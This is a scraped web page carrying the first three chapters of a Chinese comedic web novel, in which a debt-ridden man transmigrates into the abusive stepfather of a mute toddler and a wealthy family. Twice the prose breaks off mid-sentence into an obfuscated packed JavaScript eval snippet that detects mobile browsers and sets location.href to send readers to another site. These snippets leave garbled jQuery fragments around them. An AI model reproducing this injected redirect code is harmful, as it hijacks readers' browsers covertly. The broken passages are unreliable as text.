《沙雕穿成豪门后爸》 1. 初来 ——还真是不能在雍和宫乱许愿啊! 车子迎面撞过来时,这个念头划过程乐言的脑海。 几个小时前,他还活蹦乱跳,在雍和宫激情许愿:“求暴富,求发财,求我能有很多钱!求求了求求了神仙大佬保佑我,钱来钱来钱从四面八方来!!” 同时报了自己的姓名、住址和身份证号,以防神仙找错人,可谓非常虔诚。 不过再一想雍和宫的一向作风…… 曾有人许愿说想要个兵哥哥,结果没过几天,她亲哥跑去当兵了。 有人许愿说想减肥,结果体检出了问题,手术加上休养,直接暴瘦20斤。 还有人许愿天降横财,结果被公司辞退,横财是一笔赔偿金。 只能说雍和宫的灵验,有种不顾人死活的美。 于是程乐言非常严谨地打了补丁:“实在不能暴富的话,大仙也不必勉强,让我下辈子发财也可以哈!” 连拜三拜。 起身后自信满满,坐等发财,结果等来了这么场车祸。 再度意识回拢时,程乐言只觉头痛欲裂,仿佛被个大石头给开了瓢。 所以这笔横财就是这车祸的赔偿款吗??? 坑爹呢这是! 但……他是老老实实走斑马线的,明显对方全责,不知道能赔多少钱啊。 想到了钱,瞬间心痒痒的。 程乐言几年前欠下高达300万的巨额债务,如今还差80万还清,多年省吃俭用一心搞钱,他对金钱的渴望已经到了一种离谱的程度。 这时候心里一边盘算着赔偿款,一边积蓄力气,慢腾腾地睁开眼。 倒是一愣。 入目并非医院,而是一间陌生且华丽的房间,装饰奢美考究,布局开阔豪华,古董花瓶气质厚重,水晶吊灯闪瞎人眼。 对面镜子正映出一张生机勃勃的脸,是自己的,很好,没破相。此刻自己正靠在张柔软舒适的沙发上,手里拿着个通话中的手机。 一个低沉温柔的男声从听筒传来:“言言,宝贝,我知道你受了委屈,知道你不开心,我都懂。我最爱的人被迫嫁给了个植物人,我又怎么会不痛苦! “可这都是为了我们的将来啊。我们虽然现在没能正大光明地在一起,但都是在为同一个未来努力。所以,再坚持一下,留在容家,好吗?” 程乐言初时还在听,慢慢的,注意力就被一边架子上的一样东西,彻彻底底吸引了过去。 那是一个金光灿灿的金苹果。 程乐言在金店打过工,直觉告诉他,那不是什么金包银或者镀金制品,而是真的黄金。 手机里的声音还在继续:“……宝贝,可以再拿100万给我吗?你放心,再过几个月,拿到回款,这些钱我都会还给你的,以后也是我们小家庭的启动资金。喂?宝贝?你还在听吗?喂?” 当然没在听。程乐言已经丢开手机,三步并作两步,走到架子边,拿下了那个金苹果。打量一番,找到了“足金999”的钢印。 不禁倒吸一口冷气:足金啊!真的是足金! 而且这玩意至少有两斤重! 金价已经700以上,这苹果价值至少70万!!! 之前的头痛早已烟消云散,程乐言腰不酸了腿不疼了,胸口雀跃的如同被塞进了一只小鸟。 母单25年的自己,在这刻感受到了强烈且震撼的心动的感觉。 爱情!这就是爱情! 爸爸,你看到了吗爸爸,我恋爱了! 如果这是梦,可不可以让我永远都不要醒来啊! 就在他含情脉脉地看着金苹果,嘴里已经哼起《婚礼进行曲》的时候,旁边的门突然间缓缓打开。 程乐言扭头,成功和门外站着的一个穿着管家服的男人,打了个照面。 四目相对。 管家冷静地问:“大少奶奶,您在……干什么?” 程乐言:“我在结婚。你是来参加我的婚礼的吗?” 管家:? “嗯?”头上缓缓冒出了一个问号。 程乐言刚想说“这位大哥,您来我的梦里干嘛”,却在脑海中听到了一个声音。他面色一愣,随即对管家正色道:“咳咳,我在干什么不重要,怎么了?” 管家道:“大少奶奶,抱歉,我刚刚想敲门,但门没反锁,一碰就开了。” 程乐言:“没事。还有,你可以叫我奶,也可以叫我奶奶,甚至可以叫我大奶,但是可不可以不要叫我大少奶奶,这称呼听得奶疼。” 管家:“好的大少奶奶。知道了大少奶奶。大少奶奶,太太正在路上,大概十分钟后到。今天是太太生日,她稍后会回老宅参加家宴,时间很紧,还请大少奶奶先下楼等她。” 程乐言:“哦哦那好,我收拾一下,这就下去。” 管家恭敬后退离开,走至僻静处站定,眉头一皱,觉得事情并不简单:大少奶奶今天怎么奇奇怪怪,像变了个人似的。跟之前不能说一模一样,只能说两模两样。 管家一周前才被调来这里工作,不过他对这位“大少奶奶”的性情早已摸透:对太太恭维谄媚,逢迎讨好;对佣人颐指气使,重拳出击。 非常难伺候。 就他刚刚不小心把门碰开,若是过去,肯定要挨顿骂,怎么可能这么和颜悦色的。 所以现在是什么情况? 还有,结婚?他结哪门子的婚? 跟谁啊,难不成跟他拿着的那个苹果吗? 大少奶奶癔症了吧? 管家满头问号。 房间里,程乐言抱着新晋恋人·金苹果坐在沙发上,在脑海中道:【咱只有五分钟时间,快说说怎么回事——你刚刚说你是什么,系统?】 脑海中,一个带着机械质感的声音,颇有些怯生生地响起:【对对,宿主大大你好哦,我是你的系统,编号419,我会协助你在本世界的工作,以后还请多多关照。】 是的,刚刚正是这声音在脑海中响起,才让程乐言没有继续沉浸那“梦中的婚礼”。 419迅速解释,程乐言很快搞清楚了情况。 他在雍和宫许的愿,居然以一种匪夷所思的形式,实现了:他车祸后嘎掉,穿进一篇豪门文里,成了有钱人家的大少奶奶。 发财倒是真的发财了,但就…… 这这这…… 程乐言差点厥过去。 还真是“下辈子”啊! 雍和宫的神仙大人,就算我那愿望不好实现,您也不用这么耍我吧! 这还不如让我被车撞了赔点钱啊!!! 赔点钱就得了啊!!! 而程乐言穿进来的那本书呢,名为《囚爱》,是篇古早耽美文。主角攻受之间狗血不断,还有个反派横插一脚。 反派单箭头主角受,他性格偏执,手段狠辣,人格扭曲,在主角受拒绝他后,仍然进行了一系列法制咖行为,甚至搞出小黑屋全套,疯得一笔。 而反派之所以这么有病,很大原因在于他悲惨的童年。他亲爸叫“容妄之”,是豪门容家的大少爷,亦是容家新一代的掌权者。但在他很小的时候,容妄之便遭遇车祸成了植物人。 反派的后爸因八字嫁进来冲喜,他也交由后爸照看。奈何后爸是个人渣,反派从小受尽后爸从身体到精神的各种虐待。 他成年掌权后做的第一件事,便是将后爸塞进了一个狗笼里。 高不足米、宽不足半米的狭小狗笼,人在里面只能蜷着身子,动都不能动。狗笼往小黑屋里一丢,终日不见阳光,彻底与世隔绝。吃喝拉撒都在里面,堪称酷刑。后爸受尽折磨,人疯掉了,最后咬舌自尽,死于狗笼生涯的第137天。 现在程乐言,就穿成了那个——恶毒后爸。 程乐言:……………… 脑海里只有四个字: 狗,笼,警,告。 程乐言:【系统,我现在只有一个问题:这个“程乐言”已经在虐待反派哥了吗?】 系统:【宿主稍等我查一下……呃,应该已经开始了……吧?】 程乐言:【“吧”什么“吧”啊,你还“吧”!靠了,希望我现在赶紧跑路还来得及!离婚,马上离婚,然后跑去天涯海角,跑去一个不养狗的地方!!!】 系统急了:【不要啊宿主!你要是走了,会……会……你等我查一查会怎么样。等我啊,只要一分钟你等我!】 程乐言有点子无语:【……统子哥,你该不会是第一天上班吧?】 系统听起来崩溃且绝望:【对不起对不起,我也不想的,我之前其实一直是R18组的,我只懂炖肉别的什么都不懂啊啊!我也不知道为什么给我分到了剧情组呜呜呜,对不起宿主!!】 程乐言真的无语到爆。 这什么天坑开局啊到底! “R18组”,是他想的那个R18吗?但是他不想知道,只想赶在狗笼前连夜跑路。 他望向手中的初恋。初恋仍然是这样的金光灿灿,高贵美艳,只是初恋虽好,却是容家的,跟他一点关系都没有,这段爱情注定是没有结果的,唉。 于是肉痛地放下金苹果,火速下楼,直奔楼下大厅站着的管家,道:“管家,那个什么,我突然想起我在天涯海角还有点急事,就先走了。还请你和容太太转告一声,就说祝她生日快乐,抽个空我来办离婚——” 话音未落,一个威严清亮的女声传来:“离婚?程乐言,你是在说离婚?” 随即,伴随着高跟鞋敲击地板的声音,一位女士气势汹汹地走了进来。 她大概50多岁,保养很好,头发盘起,有种说一不二的气场。程乐言在奢品店打过工,眼睛毒,女士手上那个玻璃种镯子可是满绿的,那种水至少千万起步,背的包是稀有皮Kelly,不算配货都要60万。 容太太无疑。 程乐言诚恳道:“容太太,我知道您是看中了我的八字,希望我能冲喜,但是这么长时间您也看到了,我就没这功能呀。我也不想耽误容公子,离婚对我们来说都是——” 又一次,他话音未尽便被打断,一张支票当头砸了过来,容妈妈掷地有声:“这个月生活费,一百万。” 她抬抬下巴:“要离婚也是我们提,轮到你了吗?” 一百万。 一百,万。 程乐言抓住支票,看了又看,看了再看,看了还看,甚至舍不得移开目光。 他想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648094|156557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :这是爱情吗?我好像(又一次)遇到了爱情。 爸爸,我(又)恋爱了!你看到了吗,儿子(又)恋爱了啊! 司仪在哪里,婚戒在哪里,捧花在哪里,婚礼进行曲在哪里!? 我现在就要和这张支票结婚,现在,立刻,马上!!! 几秒钟后,他再抬起头时,已是判若两人。 他眼睛里闪着光彩,脸上绽放着微笑,浑身上下散发“幸福”二字,带动周围的空气都冒着粉红色泡泡。 他热情洋溢地说道:“妈!您来啦!您说您来就来,还带什么东西啊,这叫我怎么好意思呢。哎,都说无功不受禄,这钱我收得不踏实啊!来来您坐这儿,我先给您磕一个。” 容妈妈:? 容妈妈:????? 她警惕道:“你你你,你要干嘛?磕什么?” 程乐言喜气洋洋道:“磕头呀!妈您给我介绍了这么好的一份姻缘,给了我刻骨铭心的爱情,给了我携手终生的伴侣,我不给您磕两个头,我心不安!” 容妈妈战略性后仰,不由自主后退两步:“你不要过来啊!磕个什么头磕头,你给我起来,别叫我妈,我没有你这样的儿子!” 程乐言丝毫不以为忤,仍然热情奔放,朝气蓬勃:“一日为妈,终身为妈,我认定了你,你就是我亲妈!妈,您怎么还站着呢,来来,快先坐下。” 热热情情地扶着容妈妈在沙发上坐下了。 总之也就几分钟过后,容妈妈面前的茶几摆上了一盏花茶和几碟点心,旁边燃起一缕香薰,容妈妈的手上多了块热气腾腾的热毛巾。她的高跟鞋换成了一双柔软舒适的棉拖鞋,身后还塞了一个软绵绵的抱枕。 做这一切时候,程乐言的表情热情却不浮夸,亲昵又不油腻,温暖又不谄媚,简直是恰到好处,非常自然,让人油然而生一种“他是真的在关心我”的感觉。 这还不算完,程乐言紧接着开始给容妈妈——按摩。 对,按摩,站在容妈妈后面,动作娴熟地为她按摩肩膀。 一边按一边说:“妈,累坏了吧?我给你按按哈。哎呀,妈,您这肩颈有劳损啊!不过放心,我给您按开。您平常工作太辛苦了,像我们这种为人子女的,就是要好好孝顺妈妈才对。这都是我们应该做的哈。” 容妈妈一脸懵逼,她不知道这一切是怎么发生的。 周围的管家、佣人、甚至于程乐言脑海中的419,都不知道这一切是怎么发生的。 系统整个统都呆了,终于忍不住弱弱地问:【宿主,你你你,你不准备逃走了吗?】 程乐言一边按摩,一边在脑海中优哉游哉道:【统啊,给你讲个故事吧。 【从前有个孩子叫小明,爸妈给他零花钱给的很少,所以小明最大的愿望是:要是自己每天都能有100块钱,那该多好。 【十几年后,小明长大了,也梦想成真,他居然真的每天都有100块钱进账了!】 系统不明所以:【啊?】 程乐言:【他成为了一个月薪三千的男人。】 系统没忍住,一下子笑喷。 程乐言:【所以啊统子,你看,月薪三千的人一大把,而我呢,现在可是月薪100万。这还逃什么逃,我脑子有病啊我辞职。100万诶!100万!!!哈哈哈,哈哈哈哈哈哈!】 笑得丧心病狂。 系统不禁陷入沉思。 这个宿主似乎……很爱钱。 它之前带过好多个R18主角呢,赚的积分换成钱,有多少来着? 它又问:【那你现在是打算……?】 程乐言:【当然是先保住工作啊。我妈今天过来,气势这么凶,大概率是想让我收拾东西走人。幸亏我从前在按摩店打过工,还在男仆咖啡店里干过,手艺都没忘呢,这不先把我妈稳住了,嘿嘿。】 系统:【宿主,你这是打过多少工啊!?】 程乐言:【多了去了,我最多的时候一天要打五份工。统啊,成年人的世界,就没有容易二字啊。哎别说,我之前有份工作,好像正好能用到哦。】 系统:【是什么呢?】 程乐言:【海底捞!我在海底捞打过工,还学会了两项绝技!】 马上殷勤地对容太太道:“妈,您今天过生日是吧?我没准备礼物,要不就给您表演个唱歌跳舞吧!” 容妈妈一直沉浸在按摩之中,脑子都有点迷糊,随口道:“什么?唱什么?” 程乐言:“就那个呀!‘对所有的烦恼说拜拜,对所有的快乐说嗨嗨!亲爱的亲爱的生日快乐,每一天都精彩~’” 唱完了就意犹未尽道:“只唱歌没意思,还得加上跳舞才有氛围。我这就给您来个唱跳!” 容妈妈眼皮子跳了跳:“死道破。我给你一万块钱,买你现在死道破。” 程乐言瞬间惊喜:这都有钱拿?世界上还有这种好事吗??有钱人的钱这也太好赚了吧! 于是赶紧道:“妈,我还会飞天大拉面,我马上给您表演一下,弄个长寿面!” 容妈妈和系统都无语了,一个在外面一个在脑子里,同时开口吼道:“你还搁这儿赚上钱了吗!?别一副搞到财富密码的样子啊!!” 2. 打工 被吼了,程乐言也不介意,就“哈哈”笑了两声,继续按摩。 倒是容妈妈,吼完之后又有点尴尬。 毕竟人家还在那儿给她按肩膀呢,而且…… 就…… 他!按!得!也!太!舒!服!了!吧! 什么情况啊,程乐言从前在按摩店里待过吗??比她花大价钱找的按摩师都强啊!!! 有这手艺,你干点啥不好,至于走到今天这步吗!? ……等等。 想到了这里,瞬间也想到了自己今天的来意。 她今天是来兴师问罪的,甚至此前已经决定,见面了就把证据甩程乐言身上,直接让他滚蛋。 哪会想到程乐言居然判若两人,开口就“妈”来“妈”去,“妈”个不停,还直接上手给她按肩膀。 这人过去对她一直阿谀奉承,但油腻且流于表面,半点真心没见到。反而不经意间流露出的,是他对如今生活、对容家的不甘,厌恶,鄙视和忿忿不平。 问题是,当初明明是他自己主动选择这段“婚姻”的,好处没少拿,却弄得像是他受了天大的委屈。容妈妈忍很久了。 想来,程乐言如今性情大变,无事献殷勤,无非是知道东窗事发吧。 她的情绪瞬间冷下来了一些,淡淡道:“不用按了。程乐言,坐,聊两句。” 程乐言也不墨迹,说了句“哎”,就坐到了容妈妈对面,眼睛弯了弯,“妈,您说!” 容妈妈道:“别妈妈妈的,我儿子是植物人,又不是死了。你不是想离婚吗,现在这是在干什么?又不想离了?你觉得这婚是你想离就离,想结就结的吗?” 程乐言道:“妈,之前那是我猪油蒙了心,现在我可想清楚了,离什么婚啊,怎么能离婚呢!再说,为了孩子那也不能离婚呀,要不等孩子高考之后吧。” 容妈妈冷笑一声:“少来这套。你真以为我不知道项景洲的事?” 程乐言有点茫然:“啊?谁?” 容妈妈凉凉道:“别装了,你每个月100万根本花不完,钱拿给了谁,我一清二楚。说吧,项景洲到底是个什么东西,你花容家的钱,养了个什么玩意!” “项景洲啊……”程乐言沉默了一下,瞬间想到了刚穿过来时,接到的那个电话。 他正色道:“妈,他就不是个东西,更不是个玩意。他是我仇人,他——杀了我父母。” 容妈妈眼皮跳了跳:“嗯?” 程乐言深沉道:“断人钱财如杀人父母,他断我钱财,那不就是杀我父母,此仇不共戴天啊妈!怎么办,这些钱怎么要回来呢,我给他怎么打的钱啊?1314或者520那种吗?妈你知道吗?” 容妈妈:……………… 她转头看向了李管家,李管家沉痛地点了点头,还做了几个嘴型。 容妈妈诡异地懂了他在做什么嘴型,他在说:“太太,大少奶奶癔症了。” 呃…… 容妈妈嘴唇颤抖两下,强行把节奏又拉回来:“少给我装疯卖傻。程乐言,当初是你自己找上我,拿着生辰八字来谈的吧,跟妄之结婚也是你自己乐意的,没人逼你。过去这一年,你摸着良心说,容家待你怎么样,我待你怎么样。 “倒是你,你自己做了什么?!这套别墅,当初妄之出事前他在住,我想着安你的心,把别墅落到你名下,也跟你说清楚了,你只有居住权,别的权利你都一概没有。你居然把这别墅拿去抵押给高利贷了! “程乐言,你这是诈骗,我现在就能送你去坐牢你知道吗!” 最后撂下话:“有这个八字的可不只是你一个。你还真以为我怎么都要忍着你啊。” 这番话说得软硬兼施。 于此同时,419在程乐言脑子中道:【查出来了,宿主,过去一年内,原主给项景洲前后29次转账,合计982万元多,且多数都是‘520’相关数字,难以追回。你的信用卡有100万额度,现在欠款96万,都是给他花的。】 程乐言“嘶”了一声,跟火烧屁股了一样,瞬间蹦了起来,痛心疾首地叫道:“那姓项的就是个王八蛋人渣,他骗了我980万,那可是980万啊!!! “本吗喽这要打工多少个月才赚的回来!本吗喽赚钱容易吗!王八蛋大剑人大狗币杀千刀的,他骗我感情就算了,居然敢骗钱! “还有那个别墅抵押,这特么绝壁就是那个大剑人搞的鬼!妈,这别墅现在还是咱的吗?是吗是吗?啊啊啊,别被那个大剑人把咱的大别墅骗走啊!?” 这反应太过激烈,容妈妈都一时愣住:“……还没骗走呢。我把贷款的事压下来了。” 程乐言松了口气,喜形于色,跳过去捧着容妈妈的手道:“妈!您是我亲妈!我的青天大老妈,咱这房子保下了,真是多亏了您。” 容妈妈嘴角抽搐,把手拽了出来:“程乐言,我问句实话,你是不是隐藏了什么精神病史?你这,你是犯病了吗?” 最后六个字问的真情实感。 程乐言干笑了两声,稳定了一下情绪。 不过这事儿肯定得给容妈妈一个解释,不可能萌混过关了。 他脑子里理了下思路,道:“妈,我跟您直说,我过去脑子不好使,真真做了些错事儿。这份工作我完成得很差劲,您开掉我也是应该。但我真的很喜欢这份工作,想再争取一次机会。 ” 容妈妈皱眉:“工作?什么工作?” 程乐言:“当您儿媳妇啊,这就是我的工作。” 容妈妈:“那我算什么,你领导?” 程乐言:“不是领导,是神仙。妈您给我一个月100万,这不是神仙是什么。” 容妈妈:…… 程乐言弯了弯眼睛,坦然道:“我的工作范畴包括利用八字为容先生冲喜,替容先生带好他的孩子,照顾好父母长辈,不过这几件事我都没做好。 “我很愧疚,也很后悔。 “如果您愿意再给我一个机会,那么之后的三个月相当于我的试用期,我会每周向您汇报工作进程,三个月后您再根据我的工作情况考虑要不要开掉我,这样可以吗?” 他神色真的太过坦然从容了,还很真诚,眼睛好像一汪池水,清澈透亮,一眼望到了底。 且他长得好,脸极小,皮肤嫩得能反光,嘴唇自带微笑弧度,属于好看得不带丝毫侵略性,正是父母辈最会喜欢的那种小辈类型。 容妈妈一时惊讶:原来程乐言长得这么好看吗?自己过去为什么……从来没意识到? 突然又想起了程乐言之前放到她手里的热毛巾,为她准备的花茶,还有刚刚给她按摩时的双手。 论迹不论心。 到底是——心软了一下。 她最后道:“行,就三个月试用期,以后每周一上午十点前,把你的周汇报通过邮件发给我。三个月之后,还是不行,你就走人吧。” 程乐言道:“你放心吧妈,到时候真没这个缘分,也不用给我赔偿金,我主动辞职。” 容妈妈又说:“还有三件事。第一,这别墅你别想了,赵律师会接洽,转回我的名下。第二,你名下那张黑卡已经停掉,和濯濯相关的支出今后由李管家负责。第三,以后你的花销需要接受监管,所有超过十万的支出会由陈助理审核,有没有问题?” 前两条还好说,就这个第三条,容妈妈已经做好了程乐言会拒绝的准备。 却没想到,程乐言非常爽快地说道:“没问题。” 容妈妈:“想好了再说,第三条也没问题?你愿意大额支出接受审核?” 程乐言神秘兮兮地说:“妈,告诉你个秘密,我压根就没有大额支出。” 容妈妈:………… 怎么觉得程乐言这不像癔症,像发癫。 但这件事暂时告一段落,容妈妈也松了口气。她往楼上看了看:“濯濯呢?是在上课吗?” 419适时地解释:【说的就是未来反派。大名“容寄时”,小名“濯濯”。】 又给程乐言递上了背景:未来反派如今只有三岁。正常这个年纪的孩子说话都说得很溜了,濯濯不同,他有语言障碍,平日里一句话不说,“爸爸妈妈”这种词汇都不说。 医生表示他的语言发育极度落后,需要干预。于是原主找了位老师,每天来家里给孩子上干预课。 另一边,李管家也上前道:“太太,是的,小少爷正在上语言课。” 容妈妈关切道:“怎么样,有进步吗?” 李管家皱眉:“就我来的这段时间,进步不大。” 容妈妈轻叹口气,扫了眼程乐言:“你接下来的工作重心就是濯濯。下周一的周报,我希望能看到进展。” 又对管家道:“李管家,你知道的,我没办法一直盯着,你多上点心。各个方面都多上点心。”她是特意把李管家调过来的,主要就是为了濯濯。 李管家会意道:“放心吧,太太。” 容妈妈点点头,看了看时间,又站起身,环视了一下这别墅的客厅。 眼前闪过容妄之在客厅陪濯濯玩儿的画面。 物是人非。 容妈妈拿起包包,踩着高跟鞋离开了。 程乐言殷勤地送她上车,随后回到客厅,坐在沙发上。先交代说让濯濯下课后告诉他一声,便开始专心致志地和419聊天。 首要自然是盘一下资金。最后盘出来的结果,是原主银行卡再加上微信支付宝,余额一共一万多,还倒欠96万的信用卡。 程乐言差点一口气没上来,真的是想抽死那个姓项的心都有了。 他之前背负大额债务,最受不了欠钱,信用卡肯定是要马上还完的。今天拿到的那100万支票,还完之后就剩下4万了,堪称一朝回到解放前。 雍和宫啊雍和宫,这就是你说的“暴富”啊!! 项景洲那边的钱,早晚得让他吐出来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648095|156557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是急不得,得一步一步来,谨防竹篮打水一场空。 还是得搞钱。他穷惯了,手里没点存款,是真不踏实。 正琢磨着,就见旁边电梯开了,一位保姆阿姨笑吟吟地抱着个小男孩走了出来。 走到他的身边,保姆把孩子放下,推了推孩子的后背:“大少奶奶,小少爷下课啦。” 孩子站在原地,一动不动,一声不吭。神态怯生生的,右手死死攥着他自己的裤子,睫毛也轻轻颤动,显得非常紧张。 他的头发极黑,唇红齿白,睫毛长到逆天,两只眼睛极大,又黑又圆,就像两粒漂亮的黑葡萄。抿着嘴的时候,脸颊上还露出了两个浅浅的酒窝。 这就是未来的反派法制咖了。 程乐言心都颤了两下:【他……他……】 系统紧张:【怎么了?他怎么了??】 程乐言在大脑里土拨鼠尖叫:【好可爱!他好可爱!!!超可爱啊啊啊!419你怎么之前早不说他才这么小这么可爱的!你看他眼睫毛!你看他酒窝!他看他那个大眼睛!真的好可爱啊啊啊!!!不行了我好想抱抱他吸吸他RuaRua他啊!!!】 系统:【……控制一下你自己!狗笼警告!狗笼!】 程乐言:【我不信!这么可爱的幼崽怎么可能做出那么丧心病狂的事!我不听我不听!】 再控制不住洪荒之力,朝幼崽扑了上去。 幼崽全身上下都紧绷起来。 他熟悉这套流程,后爸很可能给他一巴掌,踢他一脚,也可能是拧他一下,或者抓着他的头发朝个什么地方撞过去。 他熟悉那种疼痛。 他经历过很多次了,他这次一定要努力,不掉眼泪,不哭出声。 他对自己说:我是铁皮人,我不会痛,我不会害怕。 他—— 啊??? 幼崽震惊地睁大眼。 因为后爸这次没打他,反而一下子把他抱了起来,然后紧紧地搂在了怀里。 后爸的身上……香香的,怀里很温暖,也很柔软,到处都很软。他从来没有过这种感受,他觉得自己好像……被环在了一个云朵棉花糖里。 紧接着,后爸还把脸和他的脸蛋贴在一起,各种贴贴蹭蹭,在他头发上亲了好几下,甚至还把他举了起来。 他吓得呼吸都要停了,生怕是后爸要摔死他,但是——没有。后爸把他举得很高,然后稳稳地放了下来,嘴里还“哦吼”“哦吼”地叫着。 他知道这个。 这叫做“举高高”。 他被后爸托着上上下下,心脏也跟着晃晃悠悠,整个人像是在飘,刘海都被吹了起来。他心中恐惧且又惊奇:原来举高高是这么好玩儿的。 只是没玩多久,后爸就停下来了。 他心中刚涌上了失落,就听后爸对别人道:“有一块钱吗?麻烦能给我找个一块钱的硬币呗?” 育儿嫂很快拿过了一枚硬币。 后爸把硬币放在了他的掌心里,笑眯眯地对他说:“来来,宝宝,把这枚硬币塞我兜里。” 幼崽是真的搞不懂,搞不懂后爸什么意思,搞不懂这一切是怎么回事。 可是……后爸从前对他说话,都是皱着眉,看他的眼神像是在看什么脏东西,现在却不一样。 后爸对他笑,后爸的眼睛也是亮晶晶的。 幼崽非常迷惑,他的手紧紧攥着那枚硬币,心脏疯了一样地在跳。 他又一次对自己说:我是铁皮人,我不会痛,我不会害怕。 所以被打也没关系。我想……看看他要干什么。 于是,他就捏着那枚硬币,小心翼翼地,塞进了后爸的衣兜里。 下一秒,后爸摇晃起来。 一边晃一边抑扬顿挫地念着:“嘟嘟嘟,摇摇车启动!爸爸的爸爸叫爷爷,爸爸的妈妈叫奶奶~妈妈的爸爸叫姥爷,妈妈的妈妈叫姥姥~” 幼崽:………… 他呆滞着,摇晃着,听着耳边慢慢传出了他所有的亲戚称谓。 后面已经到了姥姥的七弟叫七舅姥爷。 那个时刻,幼崽脑子里突然想起了自己的记仇本。 是的,他有个记仇本。 在今天之前,记仇本里后爸那一部分画满了歪歪扭扭的大宝剑。后爸打骂他一次,他就在本子上画一柄大宝剑,暗自发誓以后一定要给自己报仇。 这是他生平第一次,并不想在本子上画什么大宝剑了,而是…… 他想在本子上画一个大药丸。 幼崽理智地想:很明显,后爸是脑袋生病病了。 旁边,后爸:“嘟嘟!小朋友,本次摇摇车的时间已经结束了哦,欢迎您继续投币。我又能唱歌又能看动画片,还能摇晃,小朋友,快来跟我玩耍吧!” 幼崽继续理智地想:很明显,一个大药丸不够。 他需要在整页上,都画满大药丸。 都给后爸。 3. 任务 一楼大厅里还有几个佣人,大家的脑子都已经懵到不能再懵了。 原主对幼崽非常差劲,动辄虐待。虽然打骂都会避人,但是大家同在一个屋檐下,基本都跟明镜似的,也就新来一周的李管家还不算清楚。 可是怪事天天有,今天特别多!刚刚大少奶奶对太太的态度判若两人,现在对小少爷也更是判若两人了啊! 什么情况!? 程乐言的摇摇车因为没有投币暂停了,他抱着濯濯坐回沙发,就让濯濯坐在自己腿上。 怀里的孩子非常轻,感觉简直就像一把骨头。伸手圈了圈大腿,那里都没多少肉,细细的。 怎么会这么瘦。 他问旁边的育儿嫂道:“濯濯又瘦了吗?体重多少?” 育儿嫂叫“张妈”,陪着笑脸说:“上次量是24斤。大少奶奶,小少爷一直那么挑食,什么都不吃,一点都不乖,那可不就瘦了。” 挑食? 孩子是小又不是傻,他会饿的,挑食怎么可能挑到什么都不吃。 桌上还留着几碟点心,是之前给容妈妈准备的,只是对方没动。 程乐言随便拿起一块,就递到幼崽嘴边:“糕糕,宝宝吃糕糕吗?吃一口好不好?很好吃的糕糕哟。” 幼崽依然一言不发,还是一张怯生生的、容易受到惊吓的脸,对着那点心也是一口不动,实在离嘴近了他还会扭头。 程乐言:“哎呀,没事,宝宝不想吃那就先不吃哈。宝宝想换个糕糕吃吗?宝宝你想吃哪个糕糕呀?” 系统忍不住都开始掉鸡皮疙瘩了:【……宿主你怎么夹子音了啊。】 程乐言:【什么夹子音,夹什么呢,跟小朋友说话就是这样的好不好。我当初还当过一年的白班育儿嫂,接受过专业训练,还考过月嫂证的。】 系统惊恐:【……月嫂?你还去考月嫂证?】 程乐言:【月嫂工资可高了!只是男的不适合做。唉,我那证白考了,少赚了不少钱。】 系统实在是无力吐槽。自己这是找了个什么宿主啊! 程乐言:【不过我看这孩子眼神挺好的,能看人,能对视,眼神也跟人有互动,能接受指令。不像自闭症。他不说话的原因很怪啊。对了,有了!】 程乐言捏着个夹子音道:“我来讲个笑话给宝宝听哈。有一天呢,小番茄问:‘妈妈妈妈,我们是蔬菜还是水果啊?’番茄妈妈怎么回答的呢?” 他停了七八秒钟,才揭露谜底:“番茄妈妈说:‘见鬼了,番茄怎么会说话。’” 他学小番茄和妈妈的语气都惟妙惟肖的,这笑话一出来,旁边的几个佣人都一下子憋不住乐了,甚至系统都在他脑子里笑。 只是濯濯没笑。他看到旁人的反应,还有些迷惑。 程乐言有底了:这孩子认知没有落后,能听懂他说的话。get不到笑话的笑点也正常,小孩子理解不了这有什么好笑的。会迷惑,反而证明他有探知欲。 所以,他是心理问题导致的不说话?还是得和他的那位语言干预老师聊一聊。 正想到这里,突然听到传来了争吵声。 程乐言一抬眼,就看见李管家拽着个大学生样子的年轻人,正从电梯里出来。 那人嘴里还在骂着:“你算什么东西,真把自己当根葱了啊,程乐言都不敢这么跟我说话,你敢?!” 程乐言挑了挑眉。 哈?我不敢吗?除了让我花钱,你程爹还能有什么事儿不敢的吗? 管家气得脸都涨红了,他力气也大,把人直接拖到程乐言跟前:“大少奶奶,我不小心把个录音笔落在小少爷房间,正好录下了他们上课的全程,我这才知道这位‘老师’怎么给濯濯少爷讲课的!” 说着就掏出录音笔,播放了一段录音。 里面清晰地传出了一个正在咒骂的男声:“你蠢不蠢啊,大蠢货,教了多少遍你也不会。车车,车车都不会说?蠢死了,死小孩,智障,王八蛋,浪费老子时间。说啊!我叫你说话啊!草了,真的不是哑巴吗,还是脑瘫啊。就是你这种死小孩才把你那个死爹克成了植物人好不好,正好一家子死人。还不说?再不说我打你嘴了啊……” 后面更是各种污言秽语。 程乐言还抱着濯濯,听得火气猛冲上来,捂住了幼崽的耳朵。 幼崽瑟瑟发抖,眼睛又红了一圈,抿了抿嘴,可怜得不行。 那所谓“老师”也没想到会有录音,脸上一阵红一阵白,强自道:“这小孩智商有问题,教了半天一个词都不会说,我说错了吗?你就说我哪句话说错了吧?你们应该带他去医院看脑瘫,找什么老师来教都不管用好吗!” 程乐言气急反笑:“这煞笔谁招进来的?” 李管家一愣,想了想,默默道:“是大少奶奶您啊。” 程乐言:…… 